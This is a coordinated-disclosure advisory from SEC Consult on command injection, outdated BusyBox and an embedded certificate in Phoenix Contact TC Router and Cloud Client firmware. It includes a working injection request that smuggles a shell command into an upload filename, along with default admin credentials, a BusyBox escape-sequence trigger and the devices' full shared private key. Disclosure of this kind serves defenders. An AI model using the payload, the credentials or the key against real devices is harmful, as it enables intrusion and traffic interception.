SEC Consult SA-20200312-0 :: Authenticated Command Injection in Phoenix Contact TC Router & TC Cloud Client
SEC Consult Vulnerability Lab <research-SOMWcJgVuhyHT8/[email protected]> Thu, 12 Mar 2020 17:48:58 +0100
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.bugtraq |
|---|---|
| Organization | SEC Consult Unternehmensberatung GmbH |
| Message-ID | <[email protected]> |
--===============0213823163837875605==
Content-Type: multipart/signed; protocol="application/pkcs7-signature";
micalg=sha-256; boundary="------------ms070906080903010709090405"
--------------ms070906080903010709090405
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable
SEC Consult Vulnerability Lab Security Advisory < 20200312-0 >
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
title: Authenticated Command Injection
product: Phoenix Contact TC Router & TC Cloud Client
vulnerable version: <=3D2.05.3 & <=3D2.03.17 & <=3D1.03.17
fixed version: 2.05.4 & 2.03.18 & 1.03.18
CVE number: CVE-2020-9436, CVE-2020-9435
impact: High
homepage: https://www.phoenixcontact.com/
found: 2020-01-23
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Vendor description:
-------------------
"Phoenix Contact is a globally present, Germany-based market leader. Our =
group
is synonymous with future-oriented components, systems, and solutions in =
the
fields of electrical engineering, electronics, and automation. A global n=
etwork
across more than 100 countries and 15,000 employees ensure close proximit=
y to
our customers, which we believe is particularly important."
Source:
https://www.phoenixcontact.com/online/portal/pc?1dmy&urile=3Dwcm%3apath%3=
a/pcen/web/corporate/company/subcategory_pages/Who_we_are/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult recommends to perform a thorough security review of these pro=
ducts
conducted by security professionals to identify and resolve all security =
issues.
Vulnerability overview/description:
-----------------------------------
1) Known BusyBox Vulnerabilities
The used BusyBox toolkit in version 1.18.5 is outdated and contains multi=
ple
known vulnerabilities. The outdated version was found by IoT Inspector.
One of the discovered vulnerabilities (CVE-2017-16544) was verified by us=
ing
the MEDUSA scalable firmware runtime.
2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection vulnerability can be triggered by issu=
ing a
POST request to the "/cgi-bin/p/adm/cfg" CGI program which is available o=
n the
web interface. An attacker can abuse this vulnerability to compromise the=
operating system of the device. This issue was found by emulating the fir=
mware
of the device.
3) Embedded Private X.509 Certificate (CVE-2020-9435)
The device contains a hardcoded certificate which can be used to run the =
web
service. This certificate is used for HTTPS (default server certificate f=
or
web based configuration and management).
Impersonation, man-in-the-middle or passive decryption attacks are possib=
le.
These attacks allow an attacker to gain access to sensitive information l=
ike
admin credentials and use them in further attacks.
Proof of concept:
-----------------
1) Known BusyBox Vulnerabilities
BusyBox version 1.18.5 contains multiple CVEs like:
CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verif=
ied on
an emulated device:
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger t=
he
vulnerability.
-------------------------------------------------------------------------=
------
# ls "pressing <TAB>"
test
]55;test.txt
#
-------------------------------------------------------------------------=
------
2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection is possible via a crafted POST request=
=2E
The configuration upload form in the web-interface can be used to upload =
an XML
configuration file. The filename of this XML file can be modified with an=
interceptor proxy in order to inject system commands. The JavaScript code=
which
is used to do client-side filtering can be bypassed in this way. Because =
of
blacklisting of some characters, the ${IFS} command must be used for addi=
ng
whitespaces.
Request:
-------------------------------------------------------------------------=
------
POST /cgi-bin/p/adm/cfg HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=3D0.9,*/*;q=3D0=
=2E8
Accept-Language: en-US,en;q=3D0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=3D---------------------------=
10834433251208329385252513488
Content-Length: 724
Authorization: Basic YWRtaW46YWRtaW4=3D
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name=3D"exportmode"
0
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name=3D"xmlmode"
on
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name=3D"importmode"
0
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name=3D"cfg_upload"; filename=3D"config.x=
ml;ls${IFS}-la"
Content-Type: application/octet-stream
text
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name=3D"cfg_submit"
-----------------------------10834433251208329385252513488--
Response from the web-server:
HTTP/1.0 200 OK
Content-Type: text/html
Cache-Control: no-cache
<!DOCTYPE html>
<html>
<head>
<meta charset=3D"utf-8"><meta http-equiv=3D"Cache-Control" content=3D"no-=
cache">
<style>
/* CSS main */
body
{
font-family: verdana, arial, helvetica, sans-serif;
font-size: 12px;
}
[...snip...]
=2ETextWarning
{
vertical-align: middle;
color: #FF4000;
}
</style>
<title>Configuration up-/download</title>
</head>
<body>
<pre>xml parsed
setup new config done
total 499
drwxr-xr-x 2 root root 1024 Jan 28 2020 .
drwxr-xr-x 3 root root 1024 Jan 28 2020 ..
-rwxr-xr-x 1 root root 5544 Jan 28 2020 atcmd
-rwxr-xr-x 1 root root 9624 Jan 28 2020 basicsetup
-rwxr-xr-x 1 root root 9012 Jan 28 2020 cfg
-rwxr-xr-x 1 root root 7396 Jan 28 2020 conchk
-rwxr-xr-x 1 root root 9128 Jan 28 2020 ddns
-rwxr-xr-x 1 root root 14504 Jan 28 2020 dhcp
-rwxr-xr-x 1 root root 4776 Jan 28 2020 dmesg
-rwxr-xr-x 1 root root 6040 Jan 28 2020 edit_email
-rwxr-xr-x 1 root root 6648 Jan 28 2020 edit_sms
-rwxr-xr-x 1 root root 18288 Jan 28 2020 fw
-rwxr-xr-x 1 root root 10560 Jan 28 2020 gprs
-rwxr-xr-x 1 root root 12268 Jan 28 2020 gsm
-rwxr-xr-x 1 root root 6784 Jan 28 2020 gsmlog
-rwxr-xr-x 1 root root 11172 Jan 28 2020 io
-rwxr-xr-x 1 root root 9812 Jan 28 2020 ipscert
-rwxr-xr-x 1 root root 7604 Jan 28 2020 ipscon
-rwxr-xr-x 1 root root 9928 Jan 28 2020 ipsike
-rwxr-xr-x 1 root root 16728 Jan 28 2020 ipsset
-rwxr-xr-x 1 root root 13808 Jan 28 2020 lanif
-rwxr-xr-x 1 root root 5528 Jan 28 2020 leases
-rwxr-xr-x 1 root root 6512 Jan 28 2020 log
-rwxr-xr-x 1 root root 9656 Jan 28 2020 masqtbl
-rwxr-xr-x 1 root root 5313 Jan 28 2020 mdmupl
-rwxr-xr-x 1 root root 17912 Jan 28 2020 napt
-rwxr-xr-x 1 root root 7704 Jan 28 2020 ovpnadvanced
-rwxr-xr-x 1 root root 9656 Jan 28 2020 ovpncert
-rwxr-xr-x 1 root root 6524 Jan 28 2020 ovpncon
-rwxr-xr-x 1 root root 7856 Jan 28 2020 ovpnkey
-rwxr-xr-x 1 root root 13012 Jan 28 2020 ovpnnapt
-rwxr-xr-x 1 root root 19732 Jan 28 2020 ovpntunnel
-rwxr-xr-x 1 root root 4760 Jan 28 2020 phonebook
-rwxr-xr-x 1 root root 8284 Jan 28 2020 reboot
-rwxr-xr-x 1 root root 5956 Jan 28 2020 routes
-rwxr-xr-x 1 root root 10840 Jan 28 2020 rtc
-rwxr-xr-x 1 root root 6928 Jan 28 2020 security
-rwxr-xr-x 1 root root 17860 Jan 28 2020 sim
-rwxr-xr-x 1 root root 7080 Jan 28 2020 sms
-rwxr-xr-x 1 root root 7960 Jan 28 2020 smtp
-rwxr-xr-x 1 root root 7048 Jan 28 2020 snmp
-rwxr-xr-x 1 root root 5964 Jan 28 2020 socksrv
-rwxr-xr-x 1 root root 9632 Jan 28 2020 sroute
-rwxr-xr-x 1 root root 14668 Jan 28 2020 srvfw
-rwxr-xr-x 1 root root 5456 Jan 28 2020 sshconfig
-rwxr-xr-x 1 root root 11224 Jan 28 2020 sysconfig
-rwxr-xr-x 1 root root 19996 Jan 28 2020 test
-rwxr-xr-x 1 root root 4712 Jan 28 2020 update
-rwxr-xr-x 1 root root 73 Jan 28 2020 upload
-rwxr-xr-x 1 root root 30 Jan 28 2020 upremove
-rwxr-xr-x 1 root root 7132 Jan 28 2020 user
-rwxr-xr-x 1 root root 9672 Jan 28 2020 webcert
-rwxr-xr-x 1 root root 10932 Jan 28 2020 webconfig
</pre><pre>please reboot next</pre>
</body>
</html>
3) Embedded Private X.509 Certificate (CVE-2020-9435)
The X.509 certificate was found on more than one device on Censys.io:
SHA256 fingerprint: 8ca503b99f7eadc839747dfe612b256efcdc4e01bbf5757c0fb66=
3e5a22836b8
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDm6jUy8KLYSPXo
BiPx8LAlVcV4/6+pi+d4KzH6rvSoREYrjpalUMGbmoAdtbkr3qzvrLMP0s7tDOQB
YfH40u1QvEWgN5iWGz+TONXbeg7p+ZjD63Cu+tu9Knj5ZoZ7zDVgOF2UaVVrQkpH
CYXagnaplnQCbc1DiuvG8ha9ICaWuf7upNPiNpgdiGqrPwaqSCYhmi7K7Ej4dOpZ
5Ji/LKxCGjokVpxlYgbJbNMtrBXdBjsVh8WMImxQe7g00CQhMIK6YfE7eOsXDTLP
ZDXIbf42emJ84kpU57ISI9ru1gmt7Jkl0EJlTwyMV/9NUXavpf15LnpKnkXK0Ez/
Fu5erzVBAgMBAAECggEBAMP65yfSwAMc+UfxXjSK+JTXVQA60ZXuXYfJ8WM3dgIR
4BQ7snOgNJGh8TZF82DeXpwUUO0PF/xswl7CCCIMssmg4N74EJLlkXGb/TWHRH0k
D5nIixyXYEQOdhoGAAG18V82t4WsWIjt/CiKVoZ7z8ZjIRampl263B0/fjkJvnaQ
zDzeF0Pnh9UAyjJQiec6wEFO2FUmU0XHgWOylzTUm+kWPg3de4SNA6kpSbOFKM4y
xjdVUBK6ECT42EaJK5Ie3Fk3wKH11HQSYr2wRkC3VbN9XU4qUiOeQzNgAX5FRaBd
Egyu1gkJvOOiKCmBB3hyoJA8eipyMoOtuWRJnO0aRBkCgYEA/qZrfYIUn/OA3iPe
809eJoLsMI4ACOf46W4irskoOF1qRZ0WJZtbIY3vcsw+m+sKYZW8RyUrl9UoOhVT
yYMNlhwWOyztvp+jembEiS1XaW9K5gfV7Z/+KAenGjd/MLvRB5GU9Yt0knyY5QwP
rcQgE/Pgr19o++e2my+1etzxAD8CgYEA6COT0Am0ECGrIm+rR4VYlvMaT1V/RTpY
WOfo7gExbyBj45vrTWKNGm1eAthOXwYLHA0Aan3bOrw3fprAmWrc1dhHC3+1Kjrn
mqOv/rWzpN1WRbehNJd0VmcTI9M1XDONTbrs44cvN+Fpt88gxXFkDTRZs7onMPz5
eOCNdGV6an8CgYB2l5htrfve9e8pBPmaxHarZsOKZUc83pN8Wq9KSSIzBcYtP1gG
EZDiUpCWHOp3gIGoKqyxUW0426tNSYtoyGC2bMQpsOXTpdLjeSLEY9pWnt75u+J0
NNOPXukCe5//WSii5rjBlb2nTuGBohlXKoRp5mTYJ43j6uiO4ywYWPbfzwKBgQDN
RMBswlfNt+fbAIGlMZ1/hSHrqv9qWMhMfW00ICv1Rt/tIS91c0Kwbqslut26Gt7y
A/EtOXMEwfAUbIUIZD04fxF7cobg+8tWq41xnnxmuS2TYmgS2CYQTP7Yu+fASvmV
FUhpfV1cfV99IJOq47SEFJmJWn9TSy7SG0YZ+a3AwwKBgEXATr+IAy04ASrtOf2Z
ySc5PbttVW1gMJd+BpyaXPa2qf7w/jELbOCfu4qe17qD2yufgyOzurikFfNayVbt
xkOmyj24eKmwHKH+zmUy63i+kqiRqXUpypmFQzPRf7LQXYPZEv7IkVP/+ney4G9T
a0lM1ut6+1o9FLcqrnZk9uLY
-----END PRIVATE KEY-----
Vulnerable / tested versions:
-----------------------------
The following firmware version has been tested:
* TC Router 3002T-4G ATT / 2.05.3
* TC Cloud Client 1002-TX/TX / 1.03.17
According to the vendor, the following devices are affected as well:
Article name Article number Affected versions
TC ROUTER 3002T-4G 2702528 <=3D 2.05.3
TC ROUTER 3002T-4G 2702530 <=3D 2.05.3
TC ROUTER 2002T-3G 2702529 <=3D 2.05.3
TC ROUTER 2002T-3G 2702531 <=3D 2.05.3
TC ROUTER 3002T-4G VZW 2702532 <=3D 2.05.3
TC ROUTER 3002T-4G ATT 2702533 <=3D 2.05.3
TC CLOUD CLIENT 1002-4G 2702886 <=3D 2.03.17
TC CLOUD CLIENT 1002-4G VZW 2702887 <=3D 2.03.17
TC CLOUD CLIENT 1002-4G ATT 2702888 <=3D 2.03.17
TC CLOUD CLIENT 1002-TXTX 2702885 <=3D 1.03.17
Vendor contact timeline:
------------------------
2020-01-29: Sent advisory to vendor via PGP through psirt@phoenixcontact.=
com;
Vendor confirmed to receive the advisory.
2020-02-26: Vendor stated that the vulnerabilities were confirmed and tha=
t a
firmware upgrade will be available in the next days.
2020-02-29: Asked vendor for further affected devices and firmware versio=
ns.
2020-03-02: Received information about further affected devices and firmw=
are
versions from vendor. The release of the new firmware version=
is
planned for the end of the week. CVE numbers were requested b=
y
the vendor.
2020-03-05: Found new firmware version numbers on the vendor's website. A=
sked
the vendor about the status regarding CVE numbers.
2020-03-05: Received CVE numbers.
2020-03-12: Coordinated release of security advisory.
Solution:
---------
Update the firmware of the affected devices to 1.03.18, 2.03.18 or 2.05.4=
=2E
The new versions can be downloaded from the firmware page:
https://www.phoenixcontact.com/online/portal/us?1dmy&urile=3Dwcm%3apath%3=
a/usen/web/main/service_and_support/application_pages/Firmware/Firmware
Workaround:
-----------
Restrict network access to the device.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. I=
t
ensures the continued knowledge gain of SEC Consult in the field of netwo=
rk
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evalu=
ation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and v=
alid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html=
Interested in improving your cyber security with the experts of SEC Consu=
lt?
Contact our local offices https://www.sec-consult.com/en/contact/index.ht=
ml
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2020
--------------ms070906080903010709090405
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature
MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC
DGAwggYQMIID+KADAgECAhBNlCwQ1DvglAnFgS06KwZPMA0GCSqGSIb3DQEBDAUAMIGIMQsw
CQYDVQQGEwJVUzETMBEGA1UECBMKTmV3IEplcnNleTEUMBIGA1UEBxMLSmVyc2V5IENpdHkx
HjAcBgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEuMCwGA1UEAxMlVVNFUlRydXN0IFJT
QSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xODExMDIwMDAwMDBaFw0zMDEyMzEyMzU5
NTlaMIGWMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYD
VQQHEwdTYWxmb3JkMRgwFgYDVQQKEw9TZWN0aWdvIExpbWl0ZWQxPjA8BgNVBAMTNVNlY3Rp
Z28gUlNBIENsaWVudCBBdXRoZW50aWNhdGlvbiBhbmQgU2VjdXJlIEVtYWlsIENBMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyjztlApB/975Rrno1jvm2pK/KxBOqhq8gr2+
JhwpKirSzZxQgT9tlC7zl6hn1fXjSo5MqXUfItMltrMaXqcESJuK8dtK56NCSrq4iDKaKq9N
xOXFmqXX2zN8HHGjQ2b2Xv0v1L5Nk1MQPKA19xeWQcpGEGFUUd0kN+oHox+L9aV1rjfNiCj3
bJk6kJaOPabPi2503nn/ITX5e8WfPnGw4VuZ79Khj1YBrf24k5Ee1sLTHsLtpiK9OjG4iQRB
dq6Z/TlVx/hGAez5h36bBJMxqdHLpdwIUkTqT8se3ed0PewDch/8kHPo5fZl5u1B0ecpq/sD
N/5sCG52Ds+QU5O5EwIDAQABo4IBZDCCAWAwHwYDVR0jBBgwFoAUU3m/WqorSs9UgOHYm8Cd
8rIDZsswHQYDVR0OBBYEFAnA8vwL2pTbX/4r36iZQs/J4K0AMA4GA1UdDwEB/wQEAwIBhjAS
BgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDBDARBgNV
HSAECjAIMAYGBFUdIAAwUAYDVR0fBEkwRzBFoEOgQYY/aHR0cDovL2NybC51c2VydHJ1c3Qu
Y29tL1VTRVJUcnVzdFJTQUNlcnRpZmljYXRpb25BdXRob3JpdHkuY3JsMHYGCCsGAQUFBwEB
BGowaDA/BggrBgEFBQcwAoYzaHR0cDovL2NydC51c2VydHJ1c3QuY29tL1VTRVJUcnVzdFJT
QUFkZFRydXN0Q0EuY3J0MCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29t
MA0GCSqGSIb3DQEBDAUAA4ICAQBBRHUAqznCFfXejpVtMnFojADdF9d6HBA4kMjjsb0XMZHz
tuOCtKF+xswhh2GqkW5JQrM8zVlU+A2VP72Ky2nlRA1GwmIPgou74TZ/XTarHG8zdMSgaDrk
VYzz1g3nIVO9IHk96VwsacIvBF8JfqIs+8aWH2PfSUrNxP6Ys7U0sZYx4rXD6+cqFq/ZW5BU
fClN/rhk2ddQXyn7kkmka2RQb9d90nmNHdgKrwfQ49mQ2hWQNDkJJIXwKjYA6VUR/fZUFeCU
isdDe/0ABLTI+jheXUV1eoYV7lNwNBKpeHdNuO6Aacb533JlfeUHxvBz9OfYWUiXu09sMAvi
M11Q0DuMZ5760CdO2VnpsXP4KxaYIhvqPqUMWqRdWyn7crItNkZeroXaecG03i3mM7dkiPaC
kgocBg0EBYsbZDZ8bsG3a08LwEsL1Ygz3SBsyECa0waq4hOf/Z85F2w2ZpXfP+w8q4ifwO90
SGZZV+HR/Jh6rEaVPDRF/CEGVqR1hiuQOZ1YL5ezMTX0ZSLwrymUE0pwi/KDaiYB15uswgeI
AcA6JzPFf9pLkAFFWs1QNyN++niFhsM47qodx/PL+5jR87myx5uYdBEQkkDc+lKB1Wct6ucX
qm2EmsaQ0M95QjTmy+rDWjkDYdw3Ms6mSWE3Bn7i5ZgtwCLXgAIe5W8mybM2JzCCBkgwggUw
oAMCAQICEQCqEvWSMxa60FTK/mX98WsoMA0GCSqGSIb3DQEBCwUAMIGWMQswCQYDVQQGEwJH
QjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRgwFgYD
VQQKEw9TZWN0aWdvIExpbWl0ZWQxPjA8BgNVBAMTNVNlY3RpZ28gUlNBIENsaWVudCBBdXRo
ZW50aWNhdGlvbiBhbmQgU2VjdXJlIEVtYWlsIENBMB4XDTIwMDIxOTAwMDAwMFoXDTIzMDIx
ODIzNTk1OVowggFRMQswCQYDVQQGEwJBVDENMAsGA1UEERMEMjcwMDEWMBQGA1UECBMNTG93
ZXIgQXVzdHJpYTEVMBMGA1UEBxMMV3IuIE5ldXN0YWR0MRcwFQYDVQQJEw5Lb21hcmlnYXNz
ZSAxNDEuMCwGA1UEChMlU0VDIENvbnN1bHQgVW50ZXJuZWhtZW5zYmVyYXR1bmcgR21iSDFJ
MEcGA1UECxNASXNzdWVkIHRocm91Z2ggU0VDIENvbnN1bHQgVW50ZXJuZWhtZW5zYmVyYXR1
bmcgR21iSCBFLVBLSSBNYW5hZzEfMB0GA1UECxMWQ29ycG9yYXRlIFNlY3VyZSBFbWFpbDEm
MCQGA1UEAxMdU0VDIENvbnN1bHQgVnVsbmVyYWJpbGl0eSBMYWIxJzAlBgkqhkiG9w0BCQEW
GHJlc2VhcmNoQHNlYy1jb25zdWx0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMjhLLCjQCn+Gf7TyDcOlNIfQvq4jLeuo9LrBZLXOG4ccfndc/C+gWtIcub0rnzHF/F7
v+Ag636eDTLmECZUbAfPkNz7KNwXp8MpcnvMxMFIMmjODSjRZEla+cVOblNM9bVjJT7Lxt1j
bKzwDXxefF6EskGbJxqLcbAKJOE2CWK6KQBTyx6tXoi4Zmbqx5A0bt/vUOFansPvVOFqFh8s
WnHxqm/ASap5CsIpORcBeTmQlO0zCXgCiW72SaNfDLemVxo18Hx/O3i7juD8NR8NOL8tZCSV
JH+X12CAlfpDzPqx9JPZ+thPQ/e9DYTWIyGSP5zE80mpqSgBQLLVjAIDQfECAwEAAaOCAdEw
ggHNMB8GA1UdIwQYMBaAFAnA8vwL2pTbX/4r36iZQs/J4K0AMB0GA1UdDgQWBBSpYREAZ3TJ
TDKYmZRoqa17m9EH5zAOBgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAU
BggrBgEFBQcDBAYIKwYBBQUHAwIwQAYDVR0gBDkwNzA1BgwrBgEEAbIxAQIBAQEwJTAjBggr
BgEFBQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwWgYDVR0fBFMwUTBPoE2gS4ZJaHR0
cDovL2NybC5zZWN0aWdvLmNvbS9TZWN0aWdvUlNBQ2xpZW50QXV0aGVudGljYXRpb25hbmRT
ZWN1cmVFbWFpbENBLmNybDCBigYIKwYBBQUHAQEEfjB8MFUGCCsGAQUFBzAChklodHRwOi8v
Y3J0LnNlY3RpZ28uY29tL1NlY3RpZ29SU0FDbGllbnRBdXRoZW50aWNhdGlvbmFuZFNlY3Vy
ZUVtYWlsQ0EuY3J0MCMGCCsGAQUFBzABhhdodHRwOi8vb2NzcC5zZWN0aWdvLmNvbTAjBgNV
HREEHDAagRhyZXNlYXJjaEBzZWMtY29uc3VsdC5jb20wDQYJKoZIhvcNAQELBQADggEBAG3h
PGEd6a0iPVOK7nEk+NigrOcYslK17zTVQSGnki/Nil1RcoC9k+eX5fIWDmFeqdMIwxjx2isV
mlXgph5sVc6QG4RcTvhaM9yhVbNrrw4vdv6jBJMghtU/jOwECryDXIwBEQ6RqHYLdAyo4ZFo
+ra9jpoTYfc81c3RAck2cwEq2yyXatFnEN1DRZ3oVLYg9cVkrDA3Af0UMv11TjawxHmyZyYY
2GGLiqTz0gsetS625bcD7gR2QfPiJ8L35PZg9SUgjPOSze3kwLEAbeOK4iJNmkPKpHrr5hh0
+4PZJaTcNwO5mRXxZFIRZfZ71kMZjAsG53a1ZHYnW5BJpMPYlBoxggQ1MIIEMQIBATCBrDCB
ljELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMH
U2FsZm9yZDEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMT4wPAYDVQQDEzVTZWN0aWdvIFJT
QSBDbGllbnQgQXV0aGVudGljYXRpb24gYW5kIFNlY3VyZSBFbWFpbCBDQQIRAKoS9ZIzFrrQ
VMr+Zf3xaygwDQYJYIZIAWUDBAIBBQCgggJZMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEw
HAYJKoZIhvcNAQkFMQ8XDTIwMDMxMjE2NDg1OFowLwYJKoZIhvcNAQkEMSIEIE5xcS51bBfY
UjaYp4fzc2KbTFLUy6ZBokWgN7Tk0LDyMGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEq
MAsGCWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwIC
AUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgb0GCSsGAQQBgjcQBDGBrzCBrDCBljELMAkG
A1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9y
ZDEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMT4wPAYDVQQDEzVTZWN0aWdvIFJTQSBDbGll
bnQgQXV0aGVudGljYXRpb24gYW5kIFNlY3VyZSBFbWFpbCBDQQIRAKoS9ZIzFrrQVMr+Zf3x
aygwgb8GCyqGSIb3DQEJEAILMYGvoIGsMIGWMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3Jl
YXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRgwFgYDVQQKEw9TZWN0aWdvIExp
bWl0ZWQxPjA8BgNVBAMTNVNlY3RpZ28gUlNBIENsaWVudCBBdXRoZW50aWNhdGlvbiBhbmQg
U2VjdXJlIEVtYWlsIENBAhEAqhL1kjMWutBUyv5l/fFrKDANBgkqhkiG9w0BAQEFAASCAQCX
3MGGqlVKPsUW4TkRNeEZGJwAM5SlEk0Afs69WoouSWks7j/BlVRx4/3uFHCCXB5Zup/S8wwD
bf2WF4NjVPdhfHszvzgKIuNq/fWt2GlblPAIIzCwEgnCziwtAzGI9imCJ37BHsG2tinWL1L2
k2lCXIxR9WlbcEDqRPyWsAwJSLwVCsKHoY6zoTQ/JAob0yM3OXuoFAAjaJGlCUnY/2ZZlxCW
zIatUifOkYae3xcdxHh5cjIp3KXz+PWJcCWMlHA2r17VOzxx0BoZ3w6zTZ0fcQ//EkY064g8
osJDOQ3yuccW3pUS4F8AXmJaF0RcGsT+6rz1fwRSarYp4UUtLeL8AAAAAAAA
--------------ms070906080903010709090405--
--===============0213823163837875605==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline